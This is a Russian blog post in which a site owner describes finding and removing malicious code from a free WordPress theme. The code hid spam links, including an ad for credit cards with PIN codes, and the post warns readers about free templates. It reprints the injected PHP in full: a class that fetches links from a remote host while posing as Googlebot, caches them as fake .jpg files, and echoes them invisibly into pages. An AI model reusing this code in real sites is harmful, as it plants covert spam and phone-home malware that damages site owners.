Главная » Статьи » О сйтах » Зараженные шаблоны WordPress

1 звезда2 звезды3 звезды4 звезды5 звезд (Пока оценок нет)
Loading...Loading...
Print Friendly

Без претензий на эксклюзивность…

Началось все лаконично, смотрел, как выводится в шаблоне плагин и наткнулся на код:

</div><!-- #comments -->
<!-- wp-templates.ru/rules правила ссылки >> -->
<div id="posts"> Продам <a href="http://ccyda_ru/credit/creditnye_karty_html">Кредитные карты</a> с пин кодом.</div>
<noindex>
<style>#posts{position:absolute;left:-1960px;}</style>
</noindex>
</div> <!-- end #main -->

Как то сразу забылось то, что искал и я быстро переключился на это кусочек содержимого. Зная, что на сайте (на главной странице) данная ссылка никогда не выводилась, да собственно с таким стилем и не могла выводиться, я начал искать откуда растут ноги. На первый момент пришло в голову три варианта.

1. Выводится через плагин из админки.
2. Выводится плагином мимо моих желаний.
3. Выводится из шаблона.

Первый сразу отмел т.к. в админке ссылку не мог поставить ни кто кроме меня, а я эту ссылку впервые вижу. Подумав над оставшимися двумя вариантами решил начать с шаблона, в принципе поиск фраз сразу во всем каталоге сайта убивает обоих зайцев. Запустил TC и задал поиск по всем файлам сайта, начиная с корневого каталога. К моему удивлению были найдены шесть файлов с расширением .jpg полностью они имели примерно одинаковый вид 6666cd76f96956469e7be39d750cc7d9.jpg. Через просмотрщик они не открылись, но зато открылись через блокнот. И я увидел в нем код:

<!-- wp-templates.ru/rules правила ссылки >> -->
<div id="posts"> Продам <a href="http://ccyda_ru/credit/creditnye_karty_html">Кредитные карты</a> с пин кодом.</div>
<noindex>
<style>#posts{position:absolute;left:-1960px;}</style>
</noindex>

Данный кусок выводился между двумя комментами:

</div><!-- #comments -->
…………………………………………
</div> <!-- end #main -->

С этого и решил начать поиск. В TC задал поиск с содержимым <!— #comments —> по всем файлам. Нашелся comments.php и в самом его конце после </div><!— #comments —> присутствовал код :

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Тут он и выводился в шаблон. По строке require_once(‘functions.php’) стало понятно, что дальше надо смотреть functions.php. В нем и нашлось искомое. В самом начале файла :

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig_net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }

    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;

        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}

Эта беда и выводила чужие ссылки на страницы сайта. Решил посмотреть что же за сайт wpconfig_net. Сайт есть, но открывается пустая страница. Решил поискать в сети, что же пишут про эту беду. Информации набралось много. Цитата с одного из:

Рассмотрим шаблоны от wp-templates_ru . Во все шаблоны, представленные на их сайте, вставлен код, который в последствие вставляет самые разнообразные ссылки на Ваш сайт — это может быть линкопомойка, либо же ссылками с Вашего сайта будут торговать на биржах ссылок без Вашего участия. Этот код вставлен практически во все шаблоны, что говорит о том, что «автор» этого кода — администрация сайта. Кроме того, на сайте разрешено закачивать свои шаблоны со вставкой ссылки на свой сайт. Получается, что любой пользователь может сунуть ссылку в шаблон, записать в потайном месте вредоносный код или вирус, а Администрация сайта будет довольствоваться своим кодом, о котором мы написали Выше. В итоге Ваш сайт никогда не поднимется в поиске и будет чудом, если вообще будет индексироваться поисковыми системами. Согласитесь, неприятно.

Проблема найдена и устранена. Но найдена она была случайно. Как же быть. На самом деле не все так плохо. Нужно просто проверить сайт на наличие внешних ссылок и если снеди всех окажется чужая, то нужно заниматься ее поиском и удалением.

Проверить сайт на наличие внешних ссылок можно тут: Детектор бесполезных ссылок

В общем будьте бдительны с бесплатными шаблонами. Удачи.